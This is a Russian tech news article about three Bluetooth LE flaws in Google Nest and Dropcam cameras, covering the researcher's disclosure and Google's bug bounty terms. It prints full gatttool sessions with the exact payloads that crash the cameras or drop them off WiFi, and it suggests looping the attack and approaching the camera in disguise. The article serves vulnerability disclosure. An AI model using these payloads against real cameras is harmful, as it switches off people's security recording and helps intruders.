Искусственный интеллект для обнаружения людей Google AI камеры наружного видеонаблюдения Nest Outdoor Cam не спасает от лёгкого взлома
Самая высокотехнологическая защита — не всегда самая лучшая. Добавляя сложности в систему, вы добавляете новые векторы атак. Бывает, что угонщикам легче угнать самые дорогие и современные автомобили с радиоключами, чем старые кондовые «железяки». Примерно то же самое с безопасностью в других сферах.
Очередной жертвой взломщиков стали навороченные камеры наблюдения Google Nest — модели Dropcam, Dropcam Pro, Nest Cam Outdoor и Nest Cam. Код для их взлома уже опубликован на GitHub, а патчи компания Google пока не выпустила. Можете попрактиковаться в отключении камер наблюдения прямо сегодня (своих, конечно же).
Опубликована информация о трёх уязвимостях, все они предусматривают подключение к камере по Bluetooth 4.0 LE (по спецификациям, радиус действия около 100 м). В этих камерах Bluetooth всегда работает, то есть его вообще невозможно отключить даже владельцу.
Первая уязвимость — переполнение буфера с помощью параметра SSID по Bluetooth. Чтобы вызвать переполнение буфера, нужно попытаться установить на камеру новый параметр SSID с некорректными характеристиками.
Вот пример подключения к камере и установки SSID длиной 1 и 16 байт одновременно.
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
В результате камера выключится, перезагрузится после ошибки и вернётся в нормальное рабочее состояние.
Вторая уязвимость похожа на первую, только здесь переполнение буфера вызывается отправкой пароля неправильной длины (в данном случае три байта и один байт). Результат такой же — камера перезагружается после ошибки с возвращением в рабочее состояние.
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
Третья уязвимость интереснее. Она позволяет временно отключить камеру от WiFi-сети, передав ей новый SSID для соединения. В этих камерах локальная видеозапись недоступна, так что камера всё передаёт по WiFi — весь архив хранится в облачном сервисе. Соответственно, на время отключения от сети видеосъёмка сохраняться не будет. Чтобы вернуться в строй после такого хака и возобновить видеозапись камере требуется примерно 60-90 секунд. В принципе, это не такой уж большой интервал, но ведь хак можно зациклить на необходимый промежуток времени.
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
Обратим внимание, что во всех примерах для подключения к камере нужно знать её MAC-адрес (18:B4:30:5D:00:B8). Он просто написан на корпусе камеры, так что на практике для взлома придётся сначала приблизиться к камере на достаточно близкое расстояние. Например, под видом газонокосильщика, мастера ремонтных работ или друга будущей жертвы.
На одной из фотографий Nest Outdoor Cam видно, что MAC-адрес написан на корпусе камеры (строчка над QR-кодом). Разработчики предусмотрительно спрятали его за кабелем питания
Три уязвимости в камерах присутствуют в последней прошивке камер (5.2.1). Специалист по безопасности Джейсон Дойл (Jason Doyle) нашёл их ещё прошлой осенью. Он говорит, что сообщил в Google 26 октября 2016 года, так что теперь вроде как пришёл срок раскрытия для всех желающих. Это стандартная практика, если производитель не торопится или не успевает исправить баги в разумный срок. В данном случае прошло почти пять месяцев.
Google обычно выплачивает исследователям вознаграждения за нахождение уязвимостей в своих продуктах. На видеокамеры Nest программа Google Vulnerability Reward тоже распространяется. Правда, Nest входит в третью самую непрестижную категорию, где максимальная награда составляет всего $5000 (для остальных продуктов — $31 337). К тому же, в этой третьей категории стоит специальная пометка о шестимесячном периоде тишины. Хотя сама Google недавно раскрыла активно эксплуатируемые 0day в Windows и Edge через 90 дней (1, 2).
Джейсон Дойл не выдержал шестимесячный период (26 октября − 17 марта), так что на награду претендовать уже не сможет. В отличие от обычной практики, Google не уведомила исследователя о примерных сроках закрытия уязвимости и не поддерживала с ним переписку. В то же время знакомый с ситуацией источник сообщил The Register, что патч уже почти готов, так что Джейсон недотерпел до своей награды совсем немного.
Кстати, некоторые другие аналогичные видеокамеры наблюдения отключают Bluetooth, когда установлено соединение по WiFi, так что их таким образом взломать не получится (например, Logitech Circle). Компания Google тоже могла бы пойти на эту простую уловку, чтобы избавиться от уязвимостей такого типа.
Автор: alizar